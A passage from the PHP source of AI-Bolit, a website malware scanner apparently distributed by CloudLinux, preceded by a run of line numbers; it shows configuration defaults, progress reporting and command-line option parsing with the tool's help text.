1222112231122411225112261122711228112291123011231112321123311234112351123611237112381123911240112411124211243112441124511246112471124811249112501125111252112531125411255112561125711258112591126011261112621126311264112651126611267112681126911270112711127211273112741127511276112771127811279112801128111282112831128411285112861128711288112891129011291112921129311294112951129611297112981129911300113011130211303113041130511306113071130811309113101131111312113131131411315113161131711318113191132011321113221132311324113251132611327113281132911330113311133211333113341133511336113371133811339113401134111342113431134411345113461134711348113491135011351113521135311354113551135611357113581135911360113611136211363113641136511366113671136811369113701137111372113731137411375113761137711378113791138011381113821138311384113851138611387113881138911390113911139211393113941139511396113971139811399114001140111402114031140411405114061140711408114091141011411114121141311414114151141611417114181141911420114211142211423114241142511426114271142811429114301143111432114331143411435114361143711438114391144011441114421144311444114451144611447114481144911450114511145211453114541145511456114571145811459114601146111462114631146411465114661146711468114691147011471114721147311474114751147611477114781147911480114811148211483114841148511486114871148811489114901149111492114931149411495114961149711498114991150011501115021150311504115051150611507115081150911510115111151211513115141151511516115171151811519115201152111522115231152411525115261152711528115291153011531115321153311534115351153611537115381153911540115411154211543115441154511546115471154811549115501155111552115531155411555115561155711558115591156011561115621156311564115651156611567115681156911570115711157211573115741157511576115771157811579115801158111582115831158411585115861158711588115891159011591115921159311594115951159611597115981159911600116011160211603116041160511606116071160811609116101161111612116131161411615116161161711618116191162011621116221162311624116251162611627116281162911630116311163211633116341163511636116371163811639116401164111642116431164411645116461164711648116491165011651116521165311654116551165611657116581165911660116611166211663116641166511666116671166811669116701167111672116731167411675116761167711678116791168011681116821168311684116851168611687116881168911690116911169211693116941169511696116971169811699117001170111702117031170411705117061170711708117091171011711117121171311714117151171611717117181171911720117211172211723117241172511726117271172811729117301173111732117331173411735117361173711738117391174011741117421174311744117451174611747117481174911750117511175211753117541175511756117571175811759117601176111762117631176411765117661176711768117691177011771117721177311774117751177611777117781177911780117811178211783117841178511786117871178811789117901179111792117931179411795117961179711798117991180011801118021180311804118051180611807118081180911810118111181211813118141181511816118171181811819118201182111822118231182411825118261182711828118291183011831118321183311834118351183611837118381183911840118411184211843118441184511846118471184811849118501185111852118531185411855118561185711858118591186011861118621186311864118651186611867118681186911870118711187211873118741187511876118771187811879118801188111882118831188411885118861188711888118891189011891118921189311894118951189611897118981189911900119011190211903119041190511906119071190811909119101191111912119131191411915119161191711918119191192011921119221192311924119251192611927119281192911930119311193211933119341193511936119371193811939119401194111942119431194411945119461194711948119491195011951119521195311954119551195611957119581195911960119611196211963119641196511966119671196811969119701197111972119731197411975119761197711978119791198011981119821198311984119851198611987119881198911990119911199211993119941199511996119971199811999120001200112002120031200412005120061200712008120091201012011120121201312014120151201612017120181201912020120211202212023120241202512026120271202812029120301203112032120331203412035120361203712038120391204012041120421204312044120451204612047120481204912050120511205212053120541205512056120571205812059120601206112062120631206412065120661206712068120691207012071120721207312074120751207612077120781207912080120811208212083120841208512086120871208812089120901209112092120931209412095120961209712098120991210012101121021210312104121051210612107121081210912110121111211212113121141211512116121171211812119121201212112122121231212412125121261212712128121291213012131121321213312134121351213612137121381213912140121411214212143121441214512146121471214812149121501215112152121531215412155121561215712158121591216012161121621216312164121651216612167121681216912170121711217212173121741217512176121771217812179121801218112182121831218412185121861218712188121891219012191121921219312194121951219612197121981219912200122011220212203122041220512206122071220812209122101221112212122131221412215122161221712218122191222012221122221222312224122251222612227122281222912230122311223212233122341223512236122371223812239122401224112242122431224412245122461224712248122491225012251122521225312254122551225612257122581225912260122611226212263122641226512266122671226812269122701227112272122731227412275122761227712278122791228012281122821228312284122851228612287122881228912290122911229212293122941229512296122971229812299123001230112302123031230412305123061230712308123091231012311123121231312314123151231612317123181231912320123211232212323123241232512326123271232812329123301233112332123331233412335123361233712338123391234012341123421234312344123451234612347123481234912350123511235212353123541235512356123571235812359123601236112362123631236412365123661236712368123691237012371123721237312374123751237612377123781237912380123811238212383123841238512386123871238812389123901239112392123931239412395123961239712398123991240012401124021240312404124051240612407124081240912410124111241212413124141241512416124171241812419124201242112422124231242412425124261242712428124291243012431124321243312434124351243612437124381243912440124411244212443124441244512446124471244812449124501245112452124531245412455124561245712458124591246012461124621246312464124651246612467124681246912470124711247212473124741247512476124771247812479124801248112482124831248412485124861248712488124891249012491124921249312494124951249612497124981249912500125011250212503125041250512506125071250812509125101251112512125131251412515125161251712518125191252012521125221252312524125251252612527125281252912530125311253212533125341253512536125371253812539125401254112542125431254412545125461254712548125491255012551125521255312554125551255612557125581255912560125611256212563125641256512566125671256812569125701257112572125731257412575125761257712578125791258012581125821258312584125851258612587125881258912590125911259212593125941259512596125971259812599126001260112602126031260412605126061260712608126091261012611126121261312614126151261612617126181261912620126211262212623126241262512626126271262812629126301263112632126331263412635126361263712638126391264012641126421264312644126451264612647126481264912650126511265212653126541265512656126571265812659126601266112662126631266412665126661266712668126691267012671126721267312674126751267612677126781267912680126811268212683126841268512686126871268812689126901269112692126931269412695126961269712698126991270012701127021270312704127051270612707127081270912710127111271212713127141271512716127171271812719127201272112722127231272412725127261272712728127291273012731127321273312734127351273612737127381273912740127411274212743127441274512746127471274812749127501275112752127531275412755127561275712758127591276012761127621276312764127651276612767127681276912770127711277212773127741277512776127771277812779127801278112782127831278412785127861278712788127891279012791127921279312794127951279612797127981279912800128011280212803128041280512806128071280812809128101281112812128131281412815128161281712818128191282012821128221282312824128251282612827128281282912830128311283212833128341283512836128371283812839128401284112842128431284412845128461284712848128491285012851128521285312854128551285612857128581285912860128611286212863128641286512866128671286812869128701287112872128731287412875128761287712878128791288012881128821288312884128851288612887128881288912890128911289212893128941289512896128971289812899129001290112902129031290412905129061290712908129091291012911129121291312914129151291612917129181291912920129211292212923129241292512926129271292812929129301293112932129331293412935129361293712938129391294012941129421294312944129451294612947129481294912950129511295212953129541295512956129571295812959129601296112962129631296412965129661296712968129691297012971129721297312974129751297612977129781297912980129811298212983129841298512986129871298812989129901299112992129931299412995129961299712998129991300013001130021300313004130051300613007130081300913010130111301213013130141301513016130171301813019130201302113022130231302413025130261302713028130291303013031130321303313034130351303613037130381303913040130411304213043130441304513046130471304813049130501305113052130531305413055130561305713058130591306013061130621306313064130651306613067130681306913070130711307213073130741307513076130771307813079130801308113082130831308413085130861308713088130891309013091130921309313094130951309613097130981309913100131011310213103131041310513106131071310813109131101311113112131131311413115131161311713118131191312013121131221312313124131251312613127131281312913130131311313213133131341313513136131371313813139131401314113142131431314413145131461314713148131491315013151131521315313154131551315613157131581315913160131611316213163131641316513166131671316813169131701317113172131731317413175131761317713178131791318013181131821318313184131851318613187131881318913190131911319213193131941319513196131971319813199132001320113202132031320413205132061320713208132091321013211132121321313214132151321613217132181321913220132211322213223132241322513226132271322813229132301323113232132331323413235132361323713238132391324013241132421324313244132451324613247132481324913250132511325213253132541325513256132571325813259132601326113262132631326413265132661326713268132691327013271132721327313274132751327613277132781327913280132811328213283132841328513286132871328813289132901329113292132931329413295132961329713298132991330013301133021330313304133051330613307133081330913310133111331213313133141331513316133171331813319133201332113322133231332413325133261332713328133291333013331133321333313334133351333613337133381333913340133411334213343133441334513346133471334813349133501335113352133531335413355133561335713358133591336013361133621336313364133651336613367133681336913370133711337213373133741337513376133771337813379133801338113382133831338413385133861338713388133891339013391133921339313394133951339613397133981339913400134011340213403134041340513406134071340813409134101341113412134131341413415134161341713418134191342013421134221342313424134251342613427134281342913430134311343213433134341343513436134371343813439134401344113442134431344413445134461344713448134491345013451134521345313454134551345613457134581345913460134611346213463134641346513466134671346813469134701347113472134731347413475134761347713478134791348013481134821348313484134851348613487134881348913490134911349213493134941349513496134971349813499135001350113502135031350413505135061350713508135091351013511135121351313514135151351613517135181351913520135211352213523135241352513526135271352813529135301353113532135331353413535135361353713538135391354013541135421354313544135451354613547135481354913550135511355213553135541355513556135571355813559135601356113562135631356413565135661356713568135691357013571135721357313574135751357613577135781357913580135811358213583135841358513586135871358813589135901359113592135931359413595135961359713598135991360013601136021360313604136051360613607136081360913610136111361213613136141361513616136171361813619136201362113622136231362413625136261362713628136291363013631136321363313634136351363613637136381363913640136411364213643136441364513646136471364813649136501365113652136531365413655136561365713658136591366013661136621366313664136651366613667136681366913670136711367213673136741367513676136771367813679136801368113682136831368413685136861368713688136891369013691136921369313694136951369613697136981369913700137011370213703137041370513706137071370813709137101371113712137131371413715137161371713718137191372013721137221372313724137251372613727137281372913730137311373213733137341373513736137371373813739137401374113742137431374413745137461374713748137491375013751137521375313754137551375613757137581375913760137611376213763137641376513766137671376813769137701377113772137731377413775137761377713778137791378013781137821378313784137851378613787137881378913790137911379213793137941379513796137971379813799138001380113802138031380413805138061380713808138091381013811138121381313814138151381613817138181381913820138211382213823138241382513826138271382813829138301383113832138331383413835138361383713838138391384013841138421384313844138451384613847138481384913850138511385213853138541385513856138571385813859138601386113862138631386413865138661386713868138691387013871138721387313874138751387613877138781387913880138811388213883138841388513886138871388813889138901389113892138931389413895138961389713898138991390013901139021390313904139051390613907139081390913910139111391213913139141391513916139171391813919139201392113922139231392413925139261392713928139291393013931139321393313934139351393613937139381393913940139411394213943139441394513946139471394813949139501395113952139531395413955139561395713958139591396013961139621396313964139651396613967139681396913970139711397213973139741397513976139771397813979139801398113982139831398413985139861398713988139891399013991139921399313994139951399613997139981399914000140011400214003140041400514006140071400814009140101401114012140131401414015140161401714018140191402014021140221402314024140251402614027140281402914030140311403214033140341403514036140371403814039140401404114042140431404414045140461404714048140491405014051140521405314054140551405614057140581405914060140611406214063140641406514066140671406814069140701407114072140731407414075140761407714078140791408014081140821408314084140851408614087140881408914090140911409214093140941409514096140971409814099141001410114102141031410414105141061410714108141091411014111141121411314114141151411614117141181411914120141211412214123141241412514126141271412814129141301413114132141331413414135141361413714138141391414014141141421414314144141451414614147141481414914150141511415214153141541415514156141571415814159141601416114162141631416414165141661416714168141691417014171141721417314174141751417614177141781417914180141811418214183141841418514186141871418814189141901419114192141931419414195141961419714198141991420014201142021420314204142051420614207142081420914210142111421214213142141421514216142171421814219142201422114222142231422414225142261422714228142291423014231142321423314234142351423614237142381423914240142411424214243142441424514246142471424814249142501425114252142531425414255142561425714258142591426014261142621426314264142651426614267142681426914270142711427214273142741427514276142771427814279142801428114282142831428414285142861428714288142891429014291142921429314294142951429614297142981429914300143011430214303143041430514306143071430814309143101431114312143131431414315143161431714318143191432014321143221432314324143251432614327143281432914330143311433214333143341433514336143371433814339143401434114342143431434414345143461434714348143491435014351143521435314354143551435614357143581435914360143611436214363143641436514366143671436814369143701437114372143731437414375143761437714378143791438014381143821438314384143851438614387143881438914390143911439214393143941439514396143971439814399144001440114402144031440414405144061440714408144091441014411144121441314414144151441614417144181441914420144211442214423144241442514426144271442814429144301443114432144331443414435144361443714438144391444014441144421444314444144451444614447144481444914450144511445214453144541445514456144571445814459144601446114462144631446414465144661446714468144691447014471144721447314474144751447614477144781447914480144811448214483144841448514486144871448814489144901449114492144931449414495144961449714498144991450014501145021450314504145051450614507145081450914510145111451214513145141451514516145171451814519145201452114522145231452414525145261452714528145291453014531145321453314534145351453614537145381453914540145411454214543145441454514546145471454814549145501455114552145531455414555145561455714558145591456014561145621456314564145651456614567145681456914570145711457214573145741457514576145771457814579145801458114582145831458414585145861458714588145891459014591145921459314594145951459614597145981459914600146011460214603146041460514606146071460814609146101461114612146131461414615146161461714618146191462014621146221462314624146251462614627146281462914630146311463214633146341463514636146371463814639146401464114642146431464414645146461464714648146491465014651146521465314654146551465614657146581465914660146611466214663146641466514666146671466814669146701467114672146731467414675146761467714678146791468014681146821468314684146851468614687146881468914690146911469214693146941469514696146971469814699147001470114702147031470414705147061470714708147091471014711147121471314714147151471614717147181471914720147211472214723147241472514726147271472814729147301473114732147331473414735147361473714738147391474014741147421474314744147451474614747 |
- <?php
- ///////////////////////////////////////////////////////////////////////////
- // Version: HOSTER-30.1.1
- // Copyright 2018-2020 CloudLinux Software Inc.
- ///////////////////////////////////////////////////////////////////////////
- ini_set('memory_limit', '1G');
- ini_set('xdebug.max_nesting_level', 500);
- define('SHORT_PHP_TAG', strtolower(ini_get('short_open_tag')) == 'on' || strtolower(ini_get('short_open_tag')) == 1);
- //////////////////////////////////////////////////////////////////////////
- $vars = new Variables();
- $lang = 'RU';
- $snum = '';
- if (isCli()) {
- if (strpos('--eng', $argv[$argc - 1]) !== false) {
- $lang = 'EN';
- }
- } else {
- define('NEED_REPORT', true);
- }
- Translate::setLang($lang);
- // put 1 for expert mode, 0 for basic check and 2 for paranoid mode
- // установите 1 для режима "Обычное сканирование", 0 для быстрой проверки и 2 для параноидальной проверки (диагностика при лечении сайтов)
- define('AI_EXPERT_MODE', 2);
- define('AI_HOSTER', 1);
- define('CLOUD_ASSIST_LIMIT', 5000);
- $defaults = array(
- 'path' => __DIR__,
- 'scan_all_files' => (AI_EXPERT_MODE == 2), // full scan (rather than just a .js, .php, .html, .htaccess)
- 'scan_delay' => 0, // delay in file scanning to reduce system load
- 'max_size_to_scan' => '650K',
- 'max_size_to_cloudscan' => '650K',
- 'no_rw_dir' => 0,
- 'skip_ext' => '',
- 'skip_cache' => false,
- 'report_mask' => JSONReport::REPORT_MASK_FULL,
- 'use_template_in_path' => false,
- );
- define('DEBUG_MODE', 0);
- define('DEBUG_PERFORMANCE', 0);
- define('AIBOLIT_START_TIME', time());
- define('START_TIME', microtime(true));
- define('DIR_SEPARATOR', '/');
- define('AIBOLIT_MAX_NUMBER', 200);
- define('MIN_FILE_SIZE_FOR_CHECK', 14); //14b - The minimum possible file size for the initial checking
- define('MAX_FILE_SIZE_FOR_CHECK', 268435456); //256Mb - The maximum possible file size for the initial checking
- define('DOUBLECHECK_FILE', 'AI-BOLIT-DOUBLECHECK.php');
- if ((isset($_SERVER['OS']) && stripos('Win', $_SERVER['OS']) !== false)) {
- define('DIR_SEPARATOR', '\\');
- }
- ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
- if (!(function_exists("file_put_contents") && is_callable("file_put_contents"))) {
- echo "#####################################################\n";
- echo "file_put_contents() is disabled. Cannot proceed.\n";
- echo "#####################################################\n";
- exit;
- }
- define('AI_VERSION', 'HOSTER-30.1.1');
- ////////////////////////////////////////////////////////////////////////////
- $l_Res = '';
- $g_SpecificExt = false;
- $g_UpdatedJsonLog = 0;
- $g_FileInfo = array();
- $g_Iframer = array();
- $g_PHPCodeInside = array();
- $g_Base64 = array();
- $g_HeuristicDetected = array();
- $g_HeuristicType = array();
- $g_UnixExec = array();
- $g_UnsafeFilesFound = array();
- $g_HiddenFiles = array();
- $g_RegExpStat = array();
- error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING);
- srand(time());
- set_time_limit(0);
- ini_set('max_execution_time', '900000');
- ini_set('realpath_cache_size', '16M');
- ini_set('realpath_cache_ttl', '1200');
- ini_set('pcre.backtrack_limit', '1000000');
- ini_set('pcre.recursion_limit', '200000');
- ini_set('pcre.jit', '1');
- $filter = new FileFilter();
- $finder = new Finder($filter);
- if (!function_exists('stripos')) {
- function stripos($par_Str, $par_Entry, $Offset = 0) {
- return strpos(strtolower($par_Str), strtolower($par_Entry), $Offset);
- }
- }
- /**
- * Determine php script is called from the command line interface
- * @return bool
- */
- function isCli() {
- return PHP_SAPI == 'cli';
- }
- /**
- * Print to console
- * @param mixed $text
- * @param bool $add_lb Add line break
- * @return void
- */
- function stdOut($text, $add_lb = true) {
- if (!isCli()) {
- return;
- }
- if (is_bool($text)) {
- $text = $text ? 'true' : 'false';
- } else if (is_null($text)) {
- $text = 'null';
- }
- if (!is_scalar($text)) {
- $text = print_r($text, true);
- }
- if ((!BOOL_RESULT) && (!JSON_STDOUT)) {
- @fwrite(STDOUT, $text . ($add_lb ? "\n" : ''));
- }
- }
- /**
- * Print progress
- *
- * @param int $num Current file
- * @param $par_File
- * @param $vars
- */
- function printProgress($num, $par_File, $vars) {
- global $g_Base64, $g_Iframer, $g_UpdatedJsonLog, $g_AddPrefix, $g_NoPrefix;
- $total_files = $vars->foundTotalFiles;
- $elapsed_time = microtime(true) - START_TIME;
- $percent = number_format($total_files ? $num * 100 / $total_files : 0, 1);
- $stat = '';
- $left_files = 0;
- $left_time = 0;
- $elapsed_seconds = 0;
- if ($elapsed_time >= 1) {
- $elapsed_seconds = round($elapsed_time, 0);
- $fs = floor($num / $elapsed_seconds);
- $left_files = $total_files - $num;
- if ($fs > 0) {
- $left_time = ($left_files / $fs); //ceil($left_files / $fs);
- $stat = ' [Avg: ' . round($fs, 2) . ' files/s' . ($left_time > 0 ? ' Left: ' . AibolitHelpers::seconds2Human($left_time) : '') . '] [Mlw:' . (count($vars->criticalPHP) + count($g_Base64) + count($vars->warningPHP)) . '|' . (count($vars->criticalJS) + count($g_Iframer) + count($vars->phishing)) . ']';
- }
- }
- $l_FN = substr($par_File, -60);
- $text = "$percent% [$l_FN] $num of {$total_files}. " . $stat;
- $text = str_pad($text, 160, ' ', STR_PAD_RIGHT);
- stdOut(str_repeat(chr(8), 160) . $text, false);
- $data = array(
- 'self' => __FILE__,
- 'started' => AIBOLIT_START_TIME,
- 'updated' => time(),
- 'progress' => $percent,
- 'time_elapsed' => $elapsed_seconds,
- 'time_left' => round($left_time),
- 'files_left' => $left_files,
- 'files_total' => $total_files,
- 'current_file' => substr($g_AddPrefix . str_replace($g_NoPrefix, '', $par_File), -160)
- );
- if (function_exists('aibolit_onProgressUpdate')) {
- aibolit_onProgressUpdate($data);
- }
- if (defined('PROGRESS_LOG_FILE') && (time() - $g_UpdatedJsonLog > 1)) {
- if (function_exists('json_encode')) {
- file_put_contents(PROGRESS_LOG_FILE, json_encode($data));
- } else {
- file_put_contents(PROGRESS_LOG_FILE, serialize($data));
- }
- $g_UpdatedJsonLog = time();
- }
- if (defined('SHARED_MEMORY')) {
- shmop_write(SHARED_MEMORY, str_repeat("\0", shmop_size(SHARED_MEMORY)), 0);
- if (function_exists('json_encode')) {
- shmop_write(SHARED_MEMORY, json_encode($data), 0);
- } else {
- shmop_write(SHARED_MEMORY, serialize($data), 0);
- }
- }
- }
- if (isCli()) {
- $cli_options = array(
- 'y' => 'deobfuscate',
- 'c:' => 'avdb:',
- 'm:' => 'memory:',
- 's:' => 'size:',
- 'a' => 'all',
- 'd:' => 'delay:',
- 'l:' => 'list:',
- 'r:' => 'report:',
- 'f' => 'fast',
- 'j:' => 'file:',
- 'p:' => 'path:',
- 'q' => 'quite',
- 'e:' => 'cms:',
- 'x:' => 'mode:',
- 'k:' => 'skip:',
- 'n' => 'sc',
- 'o:' => 'json_report:',
- 't:' => 'php_report:',
- 'z:' => 'progress:',
- 'g:' => 'handler:',
- 'b' => 'smart',
- 'u:' => 'username:',
- 'h' => 'help'
- );
- $cli_longopts = array(
- 'deobfuscate',
- 'avdb:',
- 'cmd:',
- 'noprefix:',
- 'addprefix:',
- 'scan:',
- 'one-pass',
- 'smart',
- 'with-2check',
- 'skip-cache',
- 'username:',
- 'no-html',
- 'json-stdout',
- 'listing:',
- 'encode-b64-fn',
- 'cloud-assist:',
- 'cloudscan-size:',
- 'with-suspicious',
- 'rapid-account-scan:',
- 'rapid-account-scan-type:',
- 'extended-report',
- 'factory-config:',
- 'shared-mem-progress:',
- 'create-shared-mem',
- 'max-size-scan-bytes:',
- 'input-fn-b64-encoded',
- 'use-heuristics',
- 'use-heuristics-suspicious',
- 'resident',
- 'detached:',
- 'log:',
- 'log-level:',
- 'use-template-in-path',
- 'ignore-list:',
- 'ignore-filenames:',
- 'only-filepaths:',
- 'skip-files-older:',
- 'skip-root-owner',
- 'skip-system-owner',
- 'follow-symlink',
- 'ignore-quarantine',
- 'quiet',
- 'use-filters',
- 'csv_report:'
- );
- $cli_longopts = array_merge($cli_longopts, array_values($cli_options));
- $reports = [];
- $options = getopt(implode('', array_keys($cli_options)), $cli_longopts);
- if (isset($options['h']) || isset($options['help'])) {
- $memory_limit = ini_get('memory_limit');
- echo <<<HELP
- Revisium AI-Bolit - an Intelligent Malware File Scanner for Websites.
- Usage: php {$_SERVER['PHP_SELF']} [OPTIONS] [PATH]
- Current default path is: {$defaults['path']}
- -j, --file=FILE Full path to single file to check
- -p, --path=PATH Directory path to scan, by default the file directory is used
- Current path: {$defaults['path']}
- --use-template-in-path Use template in path(-p, --path). For example: /home*/*/public_html
- -p, --listing=FILE Scan files from the listing. E.g. --listing=/tmp/myfilelist.txt
- Use --listing=stdin to get listing from stdin stream
- --extended-report To expand the report
- --ignore-list=FILE This file will be contain the list of ignored files when scanning.
- The files are base64-encoded and occupy one line for one file.
- --ignore-filenames=<templates> Skip files with the same name by template. Example: *.php,*abc.abc,config.*
- --only-filepaths=<templates> Take only the paths matching this pattern. Example: /check/*.php,*.abc
- --skip-files-older=UNIXTIME If set then we ignore the files created or modified earlier than the specified date
- --skip-root-owner If set, we skip root's owner files
- --skip-system-owner If set, we skip system's owner files
- --follow-symlink If set then we follow symlink
- --ignore-quarantine If set, we ignore the files in the folder ".imunify.quarantined" if root is owner of it
- -x, --mode=INT Set scan mode. 0 - for basic, 1 - for expert and 2 for paranoic.
- -k, --skip=jpg,... Skip specific extensions. E.g. --skip=jpg,gif,png,xls,pdf
- --scan=php,... Scan only specific extensions. E.g. --scan=php,htaccess,js
- --cloud-assist=TOKEN Enable cloud assisted scanning. Disabled by default.
- --with-suspicious Detect suspicious files. Disabled by default.
- --rapid-account-scan=<dir> Enable rapid account scan. Use <dir> for base db dir. Need to set only root permissions(700)
- --rapid-account-scan-type=<type> Type rapid account scan. <type> = NONE|ALL|SUSPICIOUS, def:SUSPICIOUS
- --use-heuristics Enable heuristic algorithms and mark found files as malicious.
- --use-heuristics-suspicious Enable heuristic algorithms and mark found files as suspicious.
- -r, --report=PATH
- -o, --json_report=FILE Full path to create json-file with a list of found malware
- --csv_report=FILE Full path to create csv-file with a list of found malware
- -l, --list=FILE Full path to create plain text file with a list of found malware
- --no-html Disable HTML report
- --encode-b64-fn Encode file names in a report with base64 (for internal usage)
- --input-fn-b64-encoded Base64 encoded input filenames in listing or stdin
- --smart Enable smart mode (skip cache files and optimize scanning)
- -m, --memory=SIZE Maximum amount of memory a script may consume. Current value: $memory_limit
- Can take shorthand byte values (1M, 1G...)
- -s, --size=SIZE Scan files are smaller than SIZE with signatures. 0 - All files. Current value: {$defaults['max_size_to_scan']}
- --max-size-scan-bytes=SIZE Scan first <bytes> for large(can set by --size) files with signatures.
- --cloudscan-size Scan files are smaller than SIZE with cloud assisted scan. 0 - All files. Current value: {$defaults['max_size_to_cloudscan']}
- -d, --delay=INT Delay in milliseconds when scanning files to reduce load on the file system (Default: 1)
- -a, --all Scan all files (by default scan. js,. php,. html,. htaccess)
- --one-pass Do not calculate remaining time
- --with-2check Create or use AI-BOLIT-DOUBLECHECK.php file
- -z, --progress=FILE Runtime progress of scanning, saved to the file, full path required.
- --shared-mem-progress=<ID> Runtime progress of scanning, saved to the shared memory <ID>.
- --create-shared-mem Need to create shared memory segment <ID> for --shared-mem-progress.
- -u, --username=<username> Run scanner with specific user id and group id, e.g. --username=www-data
- -g, --hander=FILE External php handler for different events, full path to php file required.
- --cmd="command [args...]" Run command after scanning
- --help Display this help and exit
- * Mandatory arguments listed below are required for both full and short way of usage.
- HELP;
- exit;
- }
- $l_FastCli = false;
- if ((isset($options['memory']) && !empty($options['memory']) && ($memory = $options['memory'])) || (isset($options['m']) && !empty($options['m']) && ($memory = $options['m']))) {
- $memory = AibolitHelpers::getBytes($memory);
- if ($memory > 0) {
- $defaults['memory_limit'] = $memory;
- ini_set('memory_limit', $memory);
- }
- }
- $avdb = '';
- if ((isset($options['avdb']) && !empty($options['avdb']) && ($avdb = $options['avdb'])) || (isset($options['c']) && !empty($options['c']) && ($avdb = $options['c']))) {
- if (file_exists($avdb)) {
- $defaults['avdb'] = $avdb;
- }
- }
- if ((isset($options['file']) && !empty($options['file']) && ($file = $options['file']) !== false) || (isset($options['j']) && !empty($options['j']) && ($file = $options['j']) !== false)) {
- define('SCAN_FILE', $file);
- }
- if (isset($options['deobfuscate']) || isset($options['y'])) {
- define('AI_DEOBFUSCATE', true);
- }
- if ((isset($options['list']) && !empty($options['list']) && ($file = $options['list']) !== false) || (isset($options['l']) && !empty($options['l']) && ($file = $options['l']) !== false)) {
- $reports[PlainReport::class] = $file;
- }
- if(isset($options['with-2check'])) {
- $reports[DoublecheckReport::class] = DOUBLECHECK_FILE;
- }
- if ((isset($options['listing']) && !empty($options['listing']) && ($listing = $options['listing']) !== false)) {
- if (file_exists($listing) && is_file($listing) && is_readable($listing)) {
- define('LISTING_FILE', $listing);
- }
- if ($listing == 'stdin') {
- define('LISTING_FILE', $listing);
- }
- }
-
- if ((isset($options['ignore-list']) && !empty($options['ignore-list']) && ($ignore_list_file = $options['ignore-list']) !== false)) {
- if (file_exists($ignore_list_file) && is_file($ignore_list_file) && is_readable($ignore_list_file)) {
- $filter->setIgnoreListFile($ignore_list_file);
- }
- }
-
- if ((isset($options['ignore-filenames']) && !empty($options['ignore-filenames']) && ($ignore_filenames = $options['ignore-filenames']) !== false)) {
- $filter->setIgnoreFilenames($ignore_filenames);
- }
-
-
- if ((isset($options['only-filepaths']) && !empty($options['only-filepaths']) && ($only_filepathes = $options['only-filepaths']) !== false)) {
- $filter->setOnlyFilepaths($only_filepathes);
- }
-
-
- if ((isset($options['skip-files-older']) && !empty($options['skip-files-older']) && ($skip_files_older = $options['skip-files-older']) !== false)) {
- $filter->setSkipFilesOlder($skip_files_older);
- }
-
- if (isset($options['skip-root-owner'])) {
- $filter->setSkipRootOwner();
- }
- if (isset($options['skip-system-owner'])) {
- $max_min_uid = getMaxMinUid();
- $vars->maxMinUid = $max_min_uid;
- $filter->setSkipSystemOwner($max_min_uid);
- unset($max_min_uid);
- }
- if (isset($options['follow-symlink'])) {
- $filter->setFollowSymlink();
- }
-
- if (isset($options['ignore-quarantine'])) {
- $filter->setIgnoreQuarantine();
- }
- if (isset($options['use-filters'])) {
- $filter->setImunifyFilters();
- }
-
- if ((isset($options['json_report']) && !empty($options['json_report']) && ($file = $options['json_report']) !== false) || (isset($options['o']) && !empty($options['o']) && ($file = $options['o']) !== false)) {
- $reports[JSONReport::class] = $file;
- if (!function_exists('json_encode')) {
- die('json_encode function is not available. Enable json extension in php.ini');
- }
- }
- if (isset($options['csv_report']) && !empty($options['csv_report']) && ($file = $options['csv_report']) !== false) {
- $reports[CSVReport::class] = $file;
- }
- if ((isset($options['php_report']) && !empty($options['php_report']) && ($file = $options['php_report']) !== false) || (isset($options['t']) && !empty($options['t']) && ($file = $options['t']) !== false)) {
- $reports[PHPReport::class] = $file;
- }
- $env_log = getenv('AIBOLIT_RESIDENT_LOG');
- $env_log_level = getenv('AIBOLIT_RESIDENT_LOG_LEVEL');
- if ((isset($options['log']) && !empty($options['log']) && ($log_file = $options['log']) !== false) || ($env_log !== false && ($log_file = $env_log) !== false)) {
- define('LOG_FILE', $log_file);
- }
- if ((isset($options['log-level']) && !empty($options['log-level']) && ($log_level = $options['log-level']) !== false) || ($env_log_level !== false && ($log_level = $env_log_level) !== false)) {
- define('LOG_LEVEL', $log_level);
- }
- if (defined('LOG_FILE') && !defined('LOG_LEVEL')) {
- define('LOG_LEVEL', 'INFO');
- }
- if ((isset($options['handler']) && !empty($options['handler']) && ($file = $options['handler']) !== false) || (isset($options['g']) && !empty($options['g']) && ($file = $options['g']) !== false)) {
- if (file_exists($file)) {
- define('AIBOLIT_EXTERNAL_HANDLER', $file);
- }
- }
- if ((isset($options['progress']) && !empty($options['progress']) && ($file = $options['progress']) !== false) || (isset($options['z']) && !empty($options['z']) && ($file = $options['z']) !== false)) {
- define('PROGRESS_LOG_FILE', $file);
- }
- if (isset($options['create-shared-mem'])) {
- define('CREATE_SHARED_MEMORY', true);
- } else {
- define('CREATE_SHARED_MEMORY', false);
- }
- if (isset($options['shared-mem-progress']) && !empty($options['shared-mem-progress']) && ($sh_mem = $options['shared-mem-progress']) !== false) {
- if (CREATE_SHARED_MEMORY) {
- @$shid = shmop_open((int)$sh_mem, "n", 0666, 5000);
- } else {
- @$shid = shmop_open((int)$sh_mem, "w", 0, 0);
- }
- if (!empty($shid)) {
- define('SHARED_MEMORY', $shid);
- } else {
- die('Error with shared-memory.');
- }
- }
- if ((isset($options['size']) && ($size = $options['size']) !== false) || (isset($options['s']) && ($size = $options['s']) !== false)) {
- $size = AibolitHelpers::getBytes($size);
- $defaults['max_size_to_scan'] = $size > 0 ? $size : 0;
- }
- if (isset($options['cloudscan-size']) && !empty($options['cloudscan-size']) && ($cloudscan_size = $options['cloudscan-size']) !== false) {
- $cloudscan_size = AibolitHelpers::getBytes($cloudscan_size);
- $defaults['max_size_to_cloudscan'] = $cloudscan_size > 0 ? $cloudscan_size : 0;
- }
- if (isset($options['max-size-scan-bytes']) && !empty($options['max-size-scan-bytes'])) {
- define('MAX_SIZE_SCAN_BYTES', AibolitHelpers::getBytes($options['max-size-scan-bytes']));
- } else {
- define('MAX_SIZE_SCAN_BYTES', 0);
- }
- if ((isset($options['username']) && !empty($options['username']) && ($username = $options['username']) !== false) || (isset($options['u']) && !empty($options['u']) && ($username = $options['u']) !== false)) {
- if (!empty($username) && ($info = posix_getpwnam($username)) !== false) {
- posix_setgid($info['gid']);
- posix_setuid($info['uid']);
- $defaults['userid'] = $info['uid'];
- $defaults['groupid'] = $info['gid'];
- } else {
- echo ('Invalid username');
- exit(-1);
- }
- }
- if ((isset($options['file']) && !empty($options['file']) && ($file = $options['file']) !== false) || ((isset($options['j']) && !empty($options['j']) && ($file = $options['j']) !== false) && (isset($options['q'])))) {
- $BOOL_RESULT = true;
- }
- if (isset($options['json-stdout'])) {
- define('JSON_STDOUT', true);
- } else {
- define('JSON_STDOUT', false);
- }
- if (isset($options['f'])) {
- $l_FastCli = true;
- }
- if (isset($options['q']) || isset($options['quite']) || isset($options['quiet'])) {
